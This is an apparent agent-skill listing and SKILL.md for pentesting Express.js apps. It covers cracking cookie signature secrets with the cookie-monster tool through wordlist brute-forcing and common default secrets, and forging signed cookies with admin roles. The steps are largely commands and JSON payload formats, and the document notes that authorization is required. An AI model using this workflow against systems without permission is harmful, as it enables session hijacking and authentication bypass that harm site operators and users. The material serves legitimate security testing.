# Nodejs Express Cookie Pentest

> Pentest NodeJS Express.js applications by testing and cracking cookie signatures. Use this skill whenever you need to test Express.js cookie secrets, sign/verify cookies, or perform cookie-based authentication bypass testing. Trigger this skill for any web application security testing involving Express.js sessions, cookie-monster tool usage, or cookie signature brute-forcing.

- Skill: `abelrguezr/nodejs-express-cookie-pentest` (Agent Skill, multi-file: 5 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/nodejs-express-cookie-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/nodejs-express-cookie-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/nodejs-express-cookie-pentest

---


# NodeJS Express Cookie Pentesting

A skill for testing and cracking Express.js cookie signatures using the [cookie-monster](https://github.com/DigitalInterruption/cookie-monster) tool.

## When to Use This Skill

Use this skill when:
- Testing Express.js web applications for cookie signature vulnerabilities
- Attempting to crack cookie secrets using wordlists
- Signing new cookies with a known secret
- Performing batch cookie testing across multiple cookies
- Analyzing session cookies for security weaknesses

## Prerequisites

1. **Install cookie-monster**:
   ```bash
   pip install cookie-monster
   ```

2. **Have access to target cookies** - Extract cookies from browser dev tools or HTTP responses

## Cookie Signature Testing

### Test a Single Cookie

When you have one cookie to test against a known or suspected secret:

```bash
cookie-monster -c <cookie_value> -s <secret_key> -n <cookie_name>
```

**Example:**
```bash
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session
```

**Parameters:**
- `-c`: The cookie value (base64 encoded)
- `-s`: The secret key to test
- `-n`: The cookie name (e.g., `session`, `connect.sid`)

### Test with Custom Wordlist

Brute-force the cookie secret using a custom wordlist:

```bash
cookie-monster -c <cookie_value> -s <secret_key> -w <wordlist_path>
```

**Example:**
```bash
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst
```

**Common wordlists to try:**
- `/usr/share/wordlists/rockyou.txt`
- `/usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt`
- Custom wordlists based on target organization naming conventions

### Batch Mode - Test Multiple Cookies

When you have multiple cookies to test, use batch mode:

```bash
cookie-monster -b -f cookies.json
```

**cookies.json format:**
```json
[
  {
    "cookie": "eyJmb28iOiJiYXIifQ==",
    "secret": "LVMVxSNPdU_G8S3mkjlShUD78s4",
    "name": "session"
  },
  {
    "cookie": "another_cookie_value",
    "secret": "another_secret",
    "name": "connect.sid"
  }
]
```

### Batch Mode with Custom Wordlist

Test multiple cookies against a wordlist:

```bash
cookie-monster -b -f cookies.json -w custom.lst
```

## Create and Sign New Cookies

If you've discovered the secret key, you can forge new cookies:

```bash
cookie-monster -e -f new_cookie.json -k <secret_key>
```

**new_cookie.json format:**
```json
{
  "name": "session",
  "data": {
    "user_id": 123,
    "role": "admin",
    "email": "attacker@example.com"
  }
}
```

**Output:** The tool will output a signed cookie you can use in your requests.

## Workflow Guide

### Step 1: Extract Cookies

1. Open browser DevTools → Application → Cookies
2. Copy the cookie value (the part after the `=`)
3. Note the cookie name

### Step 2: Initial Testing

Try common secrets first:
```bash
# Common Express.js defaults to try
cookie-monster -c <cookie> -s "secret" -n session
cookie-monster -c <cookie> -s "changeme" -n session
cookie-monster -c <cookie> -s "express" -n session
```

### Step 3: Wordlist Attack

If common secrets fail, use a wordlist:
```bash
cookie-monster -c <cookie> -s <cookie> -w /path/to/wordlist.txt -n session
```

### Step 4: Forge New Cookie

Once you have the secret, create a new cookie with elevated privileges:
```bash
cookie-monster -e -f new_cookie.json -k <discovered_secret>
```

## Common Express.js Cookie Names

- `session`
- `connect.sid`
- `express.sid`
- `sess`
- `JSESSIONID`
- `PHPSESSID`

## Tips

1. **Check for weak secrets** - Many apps use predictable secrets like `secret`, `changeme`, or company names
2. **Look for secrets in source code** - Check GitHub, config files, environment variables
3. **Use multiple wordlists** - Combine general wordlists with target-specific ones
4. **Test in batch** - If you have multiple cookies, batch mode is more efficient
5. **Document findings** - Keep track of which secrets work for which applications

## Security Considerations

- Only test applications you have authorization to pentest
- Document all findings for the security team
- Report cookie signature vulnerabilities as they can lead to session hijacking
- Recommend using strong, randomly generated secrets in production

## Integration with Other Tools

- **Burp Suite**: Extract cookies from proxy history
- **Browser DevTools**: Monitor cookie changes in real-time
- **curl**: Test forged cookies in HTTP requests
- **Postman**: Import forged cookies for API testing